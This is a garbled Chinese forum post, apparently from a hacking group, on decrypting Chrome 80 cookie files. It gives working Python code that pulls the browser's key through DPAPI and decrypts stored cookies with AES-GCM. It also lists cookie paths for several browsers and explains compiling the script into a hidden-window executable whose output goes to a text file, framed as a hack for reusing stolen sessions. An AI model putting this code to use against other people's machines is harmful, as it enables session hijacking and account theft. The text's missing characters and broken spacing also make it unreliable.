[18515] 2020-03-05_Chrome80.X版本如何解密Cookies文件

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2020-03-05_Chrome80.X版本如何解密Cookies文件 C h r o m e   8 0 . X C o o k i e s   H A C K   H A C K   2 0 2 0 - 0 3 - 0 5 C h r o m e 2   8 0 . 0 . 3 9 8 7 . 1 2 2   6 4   , C o o k i e s C h r o m e 0 X 0 0   C o o k i e s C h r o m e C o o k i e s W i n d o w s C h r o m e   C o o k i e   C o o k i e s   S Q L i t e   e n c r y p t e d _ v a l u e   L o g i n   D a t a   S Q L i t e   p a s s w o r d _ v a l u e   v 1 0   v 1 0 J D K 1 . 8 W i n d o w s   1 0   P r o f e s s i o n a l   1 9 0 3 C h r o m e   8 0 . 0 . 3 9 8 7 . 1 0 6   x 8 6   6 4 c o o k i e S Q L i t e   C o o k i e s C h r o m e C h r o m e h t t p s : / / c h r o m i u m . g o o g l e s o u r c e . c o m / c h r o m i u m / s r c / + / m a s t e r / d o c s / u s e r _ d a t a _ d i r . m d h t t p s : / / g i t h u b . c o m / n 8 h e n r i e / p y c o o k i e c h e a t / i s s u e s / 1 2 k e y r i n g   /   k e y c h a i n L i n u x M a c c o o k i e p y c o o k i e c h e a t W i n d o w s C h r o m i u m C o o k i e h t t p : / / w w w . m e i l o n g k u i . c o m / a r c h i v e s / 1 9 0 4 C h r o m e 1 .     v 1 0   v 1 1 2 .     v 1 0   v 1 1   v 1 0   v 1 1 使 W i n d o w s   D P A P I A P I W i n d o w s 使 C h r o m e 使 D P A P I c o o k i e 0 X 0 1   C o o k i e s 使 N a v i c a t C h r o m e C o o k i e s C h r o m e 8 0 C o o k i e s V 1 0 V 1 1 C h r o m e 8 0 C o o k i e s V 1 0 V 1 1
V 1 0 V 1 1 V 1 0 V 1 1 v a l u e 0 X 0 2   C h r o m e - 8 0 C o o k i e s P y t h o n 0 X 0 3   C o o k i e s C o o k i e s 使 i m p o r t   o s i m p o r t   s q l i t e 3 f r o m   c o l l e c t i o n s   i m p o r t   d e f a u l t d i c t f r o m   w i n 3 2 . w i n 3 2 c r y p t   i m p o r t   C r y p t U n p r o t e c t D a t a # 使 p y t h o n 3 . 6 # p i p   i n s t a l l   p y w i n 3 2 ' ' ' 使 C o o k i e s / c o o k i e s . s q l i t e 绿 ' ' ' # c h r o m e c o o k i e s d e f   g e t c o o k i e f r o m c h r o m e ( ) :         c o o k i e p a t h = o s . e n v i r o n [ ' L O C A L A P P D A T A ' ] + r " G o o g l e C h r o m e U s e r   D a t a D e f a u l t C o o k i e s "         s q l = " s e l e c t   h o s t _ k e y , n a m e , e n c r y p t e d _ v a l u e   f r o m   c o o k i e s "         w i t h   s q l i t e 3 . c o n n e c t ( c o o k i e p a t h )   a s   c o n n :                 c u = c o n n . c u r s o r ( )                                 s e l e c t _ c o o k i e   =   ( c u . e x e c u t e ( s q l ) . f e t c h a l l ( ) )                 c o o k i e _ l i s t   =   [ ]                 f o r   h o s t _ k e y , n a m e , e n c r y p t e d _ v a l u e   i n   s e l e c t _ c o o k i e :                         c o o k i e   =   C r y p t U n p r o t e c t D a t a ( e n c r y p t e d _ v a l u e ) [ 1 ] . d e c o d e ( )                         c o o k i e s   =   { h o s t _ k e y : n a m e + " : " + c o o k i e }                         c o o k i e _ l i s t . a p p e n d ( c o o k i e s )                 d   =   d e f a u l t d i c t ( l i s t )                 f o r   c o o k i e _ i t e m   i n   c o o k i e _ l i s t :                         f o r   k e y , v a l u e   i n   c o o k i e _ i t e m . i t e m s ( ) :                                 d [ k e y ] . a p p e n d ( v a l u e . s t r i p ( ) )                 p r i n t   ( d i c t ( d ) ) g e t c o o k i e f r o m c h r o m e ( ) I E C o o k i e % A P P D A T A % M i c r o s o f t W i n d o w s C o o k i e s   x x x . t x t   . t x t   C o o k i e C : U s e r s y r e n 9 A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s C o o k i e s 0 W Q 6 Y R O K . t x t I E I E C o o k i e X X X . t x t F i r e f o x C h r o m e C o o k i e F i r e f o x C o o k i e % A P P D A T A % M o z i l l a F i r e f o x P r o f i l e s   x x x . d e f a u l t c o o k i e s . s q l i t e C : U s e r s j a y A p p D a t a R o a m i n g M o z i l l a F i r e f o x P r o f i l e s j i 4 g r f e x . d e f a u l t c o o k i e s . s q l i t e F i r e f o x c o o k i e ,     >     >     >   c o o k i e F i r e f o x C o o k i e % A P P D A T A % M o z i l l a F i r e f o x P r o f i l e s   x x x . d e f a u l t c o o k i e s . s q l i t e C : U s e r s j a y A p p D a t a R o a m i n g M o z i l l a F i r e f o x P r o f i l e s * . d e f a u l t - r e l e a s e c o o k i e s . s q l i t e C h r o m e C o o k i e % L O C A L A P P D A T A % G o o g l e C h r o m e U s e r   D a t a D e f a u l t   C o o k i e s C : U s e r s j a y A p p D a t a L o c a l G o o g l e C h r o m e U s e r   D a t a D e f a u l t C o o k i e s C : U s e r s A n d y A p p D a t a L o c a l G o o g l e C h r o m e U s e r   D a t a D e f a u l t C o o k i e s L i n u x U b u n t u   1 2 . 0 4     R H E L 6 . x   C o o k i e F i r e f o x C o o k i e $ H O M E / . m o z i l l a / f i r e f o x / x x x x . d e f a u l t / c o o k i e . s q l i t e C : U s e r s A n d y A p p D a t a L o c a l   = = = =       % L O C A L A P P D A T A %
C h r o m e 8 0 0 X 0 4   C h r o m e - 8 0 C o o k i e s P y t h o n d e m o . p y a e s g c m . p y C : U s e r s A n d y A p p D a t a L o c a l   = = = =       % L O C A L A P P D A T A % % L O C A L A P P D A T A % Q u p Z i l l a p r o f i l e s d e f a u l t C o o k i e s Q Q C : U s e r s A n d y A p p D a t a L o c a l T e n c e n t Q Q B r o w s e r U s e r   D a t a D e f a u l t C o o k i e s % L O C A L A P P D A T A % T e n c e n t Q Q B r o w s e r U s e r   D a t a D e f a u l t C o o k i e s 3 6 0 C : U s e r s A n d y A p p D a t a R o a m i n g 3 6 0 s e 6 U s e r   D a t a D e f a u l t C o o k i e s % A P P D A T A % 3 6 0 s e 6 U s e r   D a t a D e f a u l t C o o k i e s 3 6 0 C : U s e r s A n d y A p p D a t a L o c a l 3 6 0 C h r o m e C h r o m e U s e r   D a t a D e f a u l t C o o k i e s % L O C A L A P P D A T A % 3 6 0 C h r o m e C h r o m e U s e r   D a t a D e f a u l t C o o k i e s C : U s e r s A n d y A p p D a t a R o a m i n g S o g o u E x p l o r e r W e b k i t D e f a u l t C o o k i e s % A P P D A T A % S o g o u E x p l o r e r W e b k i t D e f a u l t C o o k i e s 2 3 4 5 C : U s e r s A n d y A p p D a t a L o c a l 2 3 4 5 E x p l o r e r U s e r   D a t a D e f a u l t % L O C A L A P P D A T A % 2 3 4 5 E x p l o r e r U s e r   D a t a D e f a u l t C o o k i e s V 3 f r o m   c h r o m e _ c o o k i e   i m p o r t   C h r o m e C o o k i e J a r i f   _ _ n a m e _ _ = = ' _ _ m a i n _ _ ' :         j a r   =   C h r o m e C o o k i e J a r ( )         j a r . l o a d ( )         f o r   c o o k i e   i n   j a r :                 p r i n t ( v a r s ( c o o k i e ) ) i m p o r t   o s i m p o r t   s y s f r o m   c r y p t o g r a p h y . h a z m a t . b a c k e n d s   i m p o r t   d e f a u l t _ b a c k e n d f r o m   c r y p t o g r a p h y . h a z m a t . p r i m i t i v e s . c i p h e r s   i m p o r t   (         C i p h e r ,   a l g o r i t h m s ,   m o d e s ) N O N C E _ B Y T E _ S I Z E   =   1 2 d e f   e n c r y p t ( c i p h e r ,   p l a i n t e x t ,   n o n c e ) :         c i p h e r . m o d e   =   m o d e s . G C M ( n o n c e )         e n c r y p t o r   =   c i p h e r . e n c r y p t o r ( )         c i p h e r t e x t   =   e n c r y p t o r . u p d a t e ( p l a i n t e x t )         r e t u r n   ( c i p h e r ,   c i p h e r t e x t ,   n o n c e ) d e f   d e c r y p t ( c i p h e r ,   c i p h e r t e x t ,   n o n c e ) :         c i p h e r . m o d e   =   m o d e s . G C M ( n o n c e )         d e c r y p t o r   =   c i p h e r . d e c r y p t o r ( )         r e t u r n   d e c r y p t o r . u p d a t e ( c i p h e r t e x t ) d e f   g e t _ c i p h e r ( k e y ) :
c h r o m e _ c o o k i e . p y d e f   g e t _ c i p h e r ( k e y ) :         c i p h e r   =   C i p h e r (                 a l g o r i t h m s . A E S ( k e y ) ,                 N o n e ,                 b a c k e n d = d e f a u l t _ b a c k e n d ( )         )         r e t u r n   c i p h e r i m p o r t   o s i m p o r t   s y s i m p o r t   s q l i t e 3 i m p o r t   h t t p . c o o k i e j a r   a s   c o o k i e j a r f r o m   u r l l i b . p a r s e   i m p o r t   u r l e n c o d e i m p o r t   j s o n ,   b a s e 6 4 i m p o r t   a e s g c m s q l   =   " " " S E L E C T         h o s t _ k e y ,   n a m e ,   p a t h , e n c r y p t e d _ v a l u e   a s   v a l u e F R O M         c o o k i e s " " " d e f   d p a p i _ d e c r y p t ( e n c r y p t e d ) :         i m p o r t   c t y p e s         i m p o r t   c t y p e s . w i n t y p e s         c l a s s   D A T A _ B L O B ( c t y p e s . S t r u c t u r e ) :                 _ f i e l d s _   =   [ ( ' c b D a t a ' ,   c t y p e s . w i n t y p e s . D W O R D ) ,                                         ( ' p b D a t a ' ,   c t y p e s . P O I N T E R ( c t y p e s . c _ c h a r ) ) ]         p   =   c t y p e s . c r e a t e _ s t r i n g _ b u f f e r ( e n c r y p t e d ,   l e n ( e n c r y p t e d ) )         b l o b i n   =   D A T A _ B L O B ( c t y p e s . s i z e o f ( p ) ,   p )         b l o b o u t   =   D A T A _ B L O B ( )         r e t v a l   =   c t y p e s . w i n d l l . c r y p t 3 2 . C r y p t U n p r o t e c t D a t a (                 c t y p e s . b y r e f ( b l o b i n ) ,   N o n e ,   N o n e ,   N o n e ,   N o n e ,   0 ,   c t y p e s . b y r e f ( b l o b o u t ) )         i f   n o t   r e t v a l :                 r a i s e   c t y p e s . W i n E r r o r ( )         r e s u l t   =   c t y p e s . s t r i n g _ a t ( b l o b o u t . p b D a t a ,   b l o b o u t . c b D a t a )         c t y p e s . w i n d l l . k e r n e l 3 2 . L o c a l F r e e ( b l o b o u t . p b D a t a )         r e t u r n   r e s u l t d e f   u n i x _ d e c r y p t ( e n c r y p t e d ) :         i f   s y s . p l a t f o r m . s t a r t s w i t h ( ' l i n u x ' ) :                 p a s s w o r d   =   ' p e a n u t s '                 i t e r a t i o n s   =   1         e l s e :                 r a i s e   N o t I m p l e m e n t e d E r r o r         f r o m   C r y p t o . C i p h e r   i m p o r t   A E S         f r o m   C r y p t o . P r o t o c o l . K D F   i m p o r t   P B K D F 2         s a l t   =   ' s a l t y s a l t '         i v   =   '   '   *   1 6         l e n g t h   =   1 6         k e y   =   P B K D F 2 ( p a s s w o r d ,   s a l t ,   l e n g t h ,   i t e r a t i o n s )         c i p h e r   =   A E S . n e w ( k e y ,   A E S . M O D E _ C B C ,   I V = i v )         d e c r y p t e d   =   c i p h e r . d e c r y p t ( e n c r y p t e d [ 3 : ] )         r e t u r n   d e c r y p t e d [ : - o r d ( d e c r y p t e d [ - 1 ] ) ] d e f   g e t _ k e y _ f r o m _ l o c a l _ s t a t e ( ) :         j s n   =   N o n e         w i t h   o p e n ( o s . p a t h . j o i n ( o s . e n v i r o n [ ' L O C A L A P P D A T A ' ] ,                 r " G o o g l e C h r o m e U s e r   D a t a L o c a l   S t a t e " ) , e n c o d i n g = ' u t f - 8 ' , m o d e   = " r " )   a s   f :                 j s n   =   j s o n . l o a d s ( s t r ( f . r e a d l i n e ( ) ) )         r e t u r n   j s n [ " o s _ c r y p t " ] [ " e n c r y p t e d _ k e y " ] d e f   a e s _ d e c r y p t ( e n c r y p t e d _ t x t ) :         e n c o d e d _ k e y   =   g e t _ k e y _ f r o m _ l o c a l _ s t a t e ( )         e n c r y p t e d _ k e y   =   b a s e 6 4 . b 6 4 d e c o d e ( e n c o d e d _ k e y . e n c o d e ( ) )         e n c r y p t e d _ k e y   =   e n c r y p t e d _ k e y [ 5 : ]         k e y   =   d p a p i _ d e c r y p t ( e n c r y p t e d _ k e y )         n o n c e   =   e n c r y p t e d _ t x t [ 3 : 1 5 ]         c i p h e r   =   a e s g c m . g e t _ c i p h e r ( k e y )         r e t u r n   a e s g c m . d e c r y p t ( c i p h e r , e n c r y p t e d _ t x t [ 1 5 : ] , n o n c e ) d e f   c h r o m e _ d e c r y p t ( e n c r y p t e d _ t x t ) :         i f   s y s . p l a t f o r m   = =   ' w i n 3 2 ' :
使 使 d e m o . p y                 t r y :                         i f   e n c r y p t e d _ t x t [ : 4 ]   = =   b ' x 0 1 x 0 0 x 0 0 x 0 0 ' :                                 d e c r y p t e d _ t x t   =   d p a p i _ d e c r y p t ( e n c r y p t e d _ t x t )                                 r e t u r n   d e c r y p t e d _ t x t . d e c o d e ( )                         e l i f   e n c r y p t e d _ t x t [ : 3 ]   = =   b ' v 1 0 ' :                                 d e c r y p t e d _ t x t   =   a e s _ d e c r y p t ( e n c r y p t e d _ t x t )                                 r e t u r n   d e c r y p t e d _ t x t [ : - 1 6 ] . d e c o d e ( )                 e x c e p t   W i n d o w s E r r o r :                         r e t u r n   N o n e         e l s e :                 t r y :                         r e t u r n   u n i x _ d e c r y p t ( e n c r y p t e d _ t x t )                 e x c e p t   N o t I m p l e m e n t e d E r r o r :                         r e t u r n   N o n e d e f   t o _ e p o c h ( c h r o m e _ t s ) :         i f   c h r o m e _ t s :                 r e t u r n   c h r o m e _ t s   -   1 1 6 4 4 4 7 3 6 0 0   *   0 0 0   *   1 0 0 0         e l s e :                 r e t u r n   N o n e c l a s s   C h r o m e C o o k i e J a r ( c o o k i e j a r . F i l e C o o k i e J a r ) :         d e f   _ _ i n i t _ _ ( s e l f ,   f i l e n a m e = N o n e ,   d e l a y l o a d = F a l s e ,   p o l i c y = N o n e ) :                 i f   f i l e n a m e   i s   N o n e :                         i f   s y s . p l a t f o r m   = =   ' w i n 3 2 ' :                                 f i l e n a m e   =   o s . p a t h . j o i n (                                         o s . e n v i r o n [ ' U S E R P R O F I L E ' ] ,                                         r ' A p p D a t a L o c a l G o o g l e C h r o m e U s e r   D a t a d e f a u l t C o o k i e s ' )                                 ' ' '                                 A p p D a t a L o c a l G o o g l e C h r o m e U s e r   D a t a P r o f i l e   [ n ] C o o k i e s                                 ' ' '                         e l i f   s y s . p l a t f o r m . s t a r t s w i t h ( ' l i n u x ' ) :                                 f i l e n a m e   =   o s . p a t h . e x p a n d u s e r (                                         ' ~ / . c o n f i g / g o o g l e - c h r o m e / D e f a u l t / C o o k i e s ' )                                 i f   n o t   o s . p a t h . e x i s t s ( f i l e n a m e ) :                                         f i l e n a m e   =   o s . p a t h . e x p a n d u s e r (                                                 ' ~ / . c o n f i g / c h r o m i u m / D e f a u l t / C o o k i e s ' )                         i f   n o t   o s . p a t h . e x i s t s ( f i l e n a m e ) :                                 f i l e n a m e   =   N o n e                 c o o k i e j a r . F i l e C o o k i e J a r . _ _ i n i t _ _ ( s e l f ,   f i l e n a m e ,   d e l a y l o a d ,   p o l i c y )         d e f   _ r e a l l y _ l o a d ( s e l f ,   f ,   f i l e n a m e ,   i g n o r e _ d i s c a r d ,   i g n o r e _ e x p i r e s ) :                 c o n   =   s q l i t e 3 . c o n n e c t ( f i l e n a m e )                 c o n . r o w _ f a c t o r y   =   s q l i t e 3 . R o w                 c o n . c r e a t e _ f u n c t i o n ( ' d e c r y p t ' ,   1 ,   c h r o m e _ d e c r y p t )                 c o n . c r e a t e _ f u n c t i o n ( ' t o _ e p o c h ' ,   1 ,   t o _ e p o c h )                 c u r   =   c o n . c u r s o r ( )                 c u r . e x e c u t e ( s q l )                 f o r   r o w   i n   c u r :                         i f   r o w [ ' v a l u e ' ]   i s   n o t   N o n e :                                 n a m e   =   r o w [ ' n a m e ' ]                                 v a l u e   =   c h r o m e _ d e c r y p t ( r o w [ ' v a l u e ' ] )                                 h o s t   =   r o w [ ' h o s t _ k e y ' ]                                 p a t h   =   r o w [ ' p a t h ' ]                                 p r i n t ( " h o s t : " + h o s t   +   "   p a t h : "   + p a t h   +   "   n a m e : " +   n a m e + "   v a l u e : " + v a l u e )                 c u r . c l o s e ( ) p i p   i n s t a l l   c r y p t o g r a p h y
e x e p y i n s t a l l e r . e x e   - F   - w   d e m o . p y   - p   a e s g c m . p y   - p   c h r o m e _ c o o k i e . p y e x e d i s t e x e c o o k i e 1 . t x t p i p   i n s t a l l   p y i n s t a l l e r [ p y i n s t a l l e r   [ ]   - p   [ 1 ]   - p   [ 2 ]   - - h i d d e n - i m p o r t   [ 1 ]   - - h i d d e n - i m p o r t   [ 2 ] d e m o . e x e   >   1 . t x t
0 X 0 5   c o o k i e C o o k i e s C o o k i e C o o k i e s s o c k s C o o k i e 怀 h t t p s : / / p a n . b a i d u . c o m / s / 1 U r - j c q Z 2 x X p u U u t x L p J e w Q   b l t y h a c k e r 1 9 6 1
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则